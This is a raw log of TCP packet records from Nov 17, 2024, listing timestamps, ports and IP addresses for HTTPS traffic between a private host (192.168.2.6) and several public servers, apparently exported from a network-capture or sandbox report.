Nov 17, 2024 10:07:25.368431091 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.374917030 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.375358105 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.375369072 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.375744104 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.375749111 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.506295919 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.506498098 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.506577969 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.506691933 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.506691933 CET	49787	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.506704092 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.506712914 CET	443	49787	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.508080006 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.508513927 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.508565903 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.508860111 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.508939981 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.508958101 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.509196043 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.509267092 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.509299994 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.509299994 CET	49786	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.509318113 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.509332895 CET	443	49786	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.510382891 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.510396004 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.510483980 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.510595083 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.510605097 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.511610031 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.511646032 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.511742115 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.511936903 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.511965990 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.565536022 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.566237926 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.566261053 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.566597939 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.566617012 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.581826925 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:25.581887007 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:25.581980944 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:25.582190990 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:25.582210064 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:25.637159109 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.637322903 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.637392044 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.637532949 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.637550116 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.637564898 CET	49790	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.637572050 CET	443	49790	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.639134884 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.639400959 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.639465094 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.640526056 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.640542030 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.640619993 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.640708923 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.640769005 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.640788078 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.640820026 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.641977072 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.642050982 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.642539978 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.642551899 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.664392948 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.664841890 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.664851904 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.665453911 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.665465117 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.689223051 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.696373940 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.696547031 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.696624041 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.701936007 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.701956987 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.701972961 CET	49791	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.701982021 CET	443	49791	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.705523014 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.705543041 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.705651999 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.705979109 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.705996990 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.913688898 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913707018 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.913736105 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913762093 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913781881 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913801908 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.913808107 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913820982 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913846016 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913872004 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913893938 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.913893938 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.913893938 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.913893938 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.913934946 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.913980007 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.914618969 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.914618969 CET	49792	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.914690018 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.914726019 CET	443	49792	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.915889978 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:25.915935040 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:25.916007996 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:25.917242050 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:25.917263031 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:25.921998024 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.922034979 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.922096968 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.922672987 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:25.922687054 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:25.954842091 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:25.954907894 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:25.995640039 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:25.995687962 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:25.995779991 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:25.997359991 CET	49804	443	192.168.2.6	184.28.90.27
Nov 17, 2024 10:07:25.997376919 CET	443	49804	184.28.90.27	192.168.2.6
Nov 17, 2024 10:07:26.001672029 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.014939070 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.015079021 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.015140057 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.015151978 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.027834892 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.027915001 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.027930975 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.032743931 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.032825947 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.032840967 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.042176008 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.042267084 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.042275906 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.051687002 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.051759958 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.051769018 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.061229944 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.061319113 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.061327934 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.070915937 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.071019888 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.071033955 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.080286980 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.080368996 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.080384016 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.089241982 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.089334011 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.089348078 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132558107 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132590055 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132625103 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132658958 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132782936 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.132782936 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.132855892 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132920980 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.132935047 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.132956028 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.133019924 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.145374060 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.145416975 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.145478010 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.145488024 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.158751011 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.158852100 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.158874989 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.162100077 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.162189960 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.162204027 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.169696093 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.169781923 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.169796944 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.176039934 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.176146030 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.176161051 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.182662010 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.182753086 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.182760000 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.189486027 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.189568996 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.189583063 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.196198940 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.196289062 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.196302891 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.202675104 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.202754974 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.202769041 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.208811045 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.208901882 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.208915949 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.215362072 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.215430021 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.215442896 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.222259998 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.222465038 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.222500086 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.228679895 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.228766918 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.228801012 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.235466003 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.235646009 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.235649109 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.235665083 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.236453056 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.236466885 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.236920118 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.236932039 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.240665913 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.241162062 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.241199017 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.241489887 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.241498947 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.241705894 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.241766930 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.241781950 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.248405933 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.248470068 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.248485088 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.254859924 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.254924059 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.254937887 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.261766911 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.261835098 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.261842966 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.267703056 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.267765999 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.267784119 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.274369001 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.274434090 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.274447918 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.280148983 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.280206919 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.280215025 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.285866976 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.286056995 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.286123037 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.291991949 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.292201042 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.292267084 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.297808886 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.297904015 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.297924042 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.301261902 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.301434994 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.301501989 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.304706097 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.304804087 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.304824114 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.305005074 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.305075884 CET	443	49789	142.250.185.110	192.168.2.6
Nov 17, 2024 10:07:26.305159092 CET	49789	443	192.168.2.6	142.250.185.110
Nov 17, 2024 10:07:26.365648985 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.365885973 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.365962029 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.371154070 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.386249065 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.386267900 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.386281013 CET	49795	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.386286020 CET	443	49795	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.386306047 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.386508942 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.386575937 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.387548923 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.387548923 CET	49796	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.387645006 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.387679100 CET	443	49796	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.389029026 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.389091969 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.389440060 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.389456034 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.424635887 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.424668074 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.424735069 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.425848961 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.425889969 CET	49805	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.425908089 CET	443	49805	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.425939083 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.426021099 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.426140070 CET	49806	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.426192999 CET	443	49806	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.458769083 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:26.459053993 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:26.459069014 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:26.462624073 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:26.462697029 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:26.462945938 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:26.463113070 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:26.517287016 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:26.517298937 CET	443	49797	142.250.185.196	192.168.2.6
Nov 17, 2024 10:07:26.530553102 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.530626059 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.530818939 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.530893087 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.530903101 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.530919075 CET	49798	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.530925035 CET	443	49798	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.534295082 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.534337997 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.534420013 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.534548044 CET	49807	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.534564972 CET	443	49807	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.564186096 CET	49797	443	192.168.2.6	142.250.185.196
Nov 17, 2024 10:07:26.629807949 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.630311966 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.630358934 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.630887032 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.630894899 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.677869081 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.678437948 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.678452015 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.678908110 CET	49803	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.678913116 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.756361961 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.756681919 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.756834030 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.757527113 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.757527113 CET	49799	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.757584095 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.757597923 CET	443	49799	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.770688057 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.770720005 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.770787001 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.771631002 CET	49808	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:26.771644115 CET	443	49808	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.777813911 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.777996063 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.778028965 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.778549910 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.778623104 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.779553890 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.779617071 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.780677080 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.780770063 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.780838966 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.780863047 CET	443	49801	142.250.185.174	192.168.2.6
Nov 17, 2024 10:07:26.780903101 CET	49801	443	192.168.2.6	142.250.185.174
Nov 17, 2024 10:07:26.810982943 CET	443	49803	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:26.811254025 CET	443	49803	13.107.246.45	192.168.2.6
